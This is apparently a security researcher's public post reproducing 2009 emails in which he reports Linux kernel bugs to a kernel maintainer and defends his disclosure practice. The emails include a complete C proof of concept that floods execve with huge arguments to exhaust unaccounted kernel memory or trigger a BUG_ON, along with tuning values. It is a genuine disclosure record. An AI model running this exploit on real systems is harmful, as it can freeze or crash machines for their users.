Another old security problem

The comment in 64bit_dos.c says where I sent it and when. Apparently that's not enough, so here are the full mails. The context was I was already working with Ted on the ext4 bug, and since he was being responsive, chose to share some additional vulnerabilities with him. You'll note my reply was within 2 hours of the response I received. With the general upstream attitude and handling of security bugs, on principle I don't email vendor-sec or security@.

I hope it's not a complaint you're making, as every time we discover one of these vulnerabilities it's fixed within grsecurity (like this 64kb heap infoleak I actually reported and wasn't credited for:
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-...), and I have it on good authority from Linus that issuing a patch is the same as full disclosure. Is it only a problem when the shoe's on the other foot?

-Brad

2694 r + Dec 11 12:12PM tytso@mit.edu Re: ext4 bug
2695 r + Dec 11 03:37PM tytso@mit.edu └─>

X-Spam-ASN: AS14742 69.25.192.0/20
X-Spam-Checker-Version: SpamAssassin 3.2.4 (2008-01-01) on www.grsecurity.net
X-Spam-Level:
X-Spam-Status: No, score=0.0 required=5.0 tests=BAYES_50 autolearn=ham
version=3.2.4
From: tytso@mit.edu
To: Brad Spengler <spender@grsecurity.net>
Subject: Re: ext4 bug
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: tytso@thunk.org
X-SA-Exim-Scanned: No (on thunker.thunk.org); SAEximRunCond expanded to false

On Fri, Dec 11, 2009 at 01:51:32PM -0500, Brad Spengler wrote:
> I've also got two local DoS mm-related bugs to be fixed if you'd like to
> take a look at them. They exist in all 64bit kernels since 2.6.26 or
> so. The first is an easy fix (we've fixed it in grsec for some time),
> but the other one requires some more thinking and decision making (it's
> memory exhaustion that causes a complete lockup of the machine -- and
> the OOM killer is unaware of the memory because it's not
> associated/accounted for by any task).

Sure, send them my way!

- Ted

842 sF Dec 11 11:57AM To tytso@mit.ed ext4 bug
843 sF Dec 11 01:51PM To tytso@mit.ed &#9492;&#9472;>
844 sF Dec 11 05:34PM To tytso@mit.ed &#9492;&#9472;&#9516;&#9472;>
845 sF Dec 11 05:40PM To tytso@mit.ed &#9492;&#9472;>

To: tytso@mit.edu
Subject: Re: ext4 bug

[-- PGP output follows (current time: Thu 09 Sep 2010 07:33:02 PM EDT) --]
gpg: Signature made Fri 11 Dec 2009 05:34:56 PM EST using DSA key ID 4245D46A
gpg: Good signature from "Bradley Spengler (spender) <spender@grsecurity.net>"
[-- End of PGP output --]

[-- The following data is signed --]

> Sure, send them my way!
>
> - Ted

Ok, the second issue should be clear with the following PoC:
(make sure to set your stack soft-limit to unlimited first, and compile
it as 32bit, run on a 64bit machine)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define NUM_ARGS 9000

int main(void)
{
char **args;
char *str;
int i;

str = malloc(128 * 1024);
memset(str, 'A', 128 * 1024 - 1);
str[128 * 1024 - 1] = '\0';
args = malloc(NUM_ARGS * sizeof(char *));
for (i = 0; i < (NUM_ARGS - 1); i++)
args[i] = str;
args[i] = NULL;

execv("/bin/sh", args);
printf("execve failed\n");

return 0;
}

It requires very little memory on the part of the program doing the
exec, but then explodes in kernel-space as each 128KB arg is copied into
its own allocation thousands of times. The system slows to the point of
being unusable (or with the right arg amount, will halt the box from the
problem below) Meanwhile, none of the processes involved in this will
get killed by the OOM killer, as none of the memory is accounted for.
(that's where the thinking comes in on how to properly fix it)

first issue is fs/exec.c:shift_arg_pages()
Using the PoC above, you can change NUM_ARGS such that instead of
exhausting all memory and locking up the system, you cause the stack to
expand down so far that it tries to wrap around the address space,
triggering the BUG_ON(new_start > new_end)

The reason this is possible on 64bit machines is because the resource
check in get_arg_page: if (size > rlim[RLIMIT_STACK].rlim_cur / 4)
allows stack sizes that are larger than the 32bit address space, as
rlim_cur is a long, and the RLIM_INFINITY soft limit is being treated
an actual size count, being both larger than the possible addressing on
x86 and x64, even after being divided by 4. So by carefully choosing
NUM_ARGS, you can cause the stack randomization present in the kernel to
attempt to shift the arg pages down below the beginning of the address
space, triggering the BUG. It can be made easier (depending on the
amount of RAM on the machine) by using the 3G personality.

-Brad

[-- End of signed data --]

To: tytso@mit.edu
Subject: Re: ext4 bug

[-- PGP output follows (current time: Thu 09 Sep 2010 07:33:33 PM EDT) --]
gpg: Signature made Fri 11 Dec 2009 05:40:37 PM EST using DSA key ID 4245D46A
gpg: Good signature from "Bradley Spengler (spender) <spender@grsecurity.net>"
[-- End of PGP output --]

[-- The following data is signed --]

Sorry, NUM_ARGS should be set larger -- around 24550 or so, to fill up
the full 3GB. And the resource exhaustion works on 32bit, just the
BUG_ON is only triggerable on 64bit machines.

-Brad

[-- End of signed data --]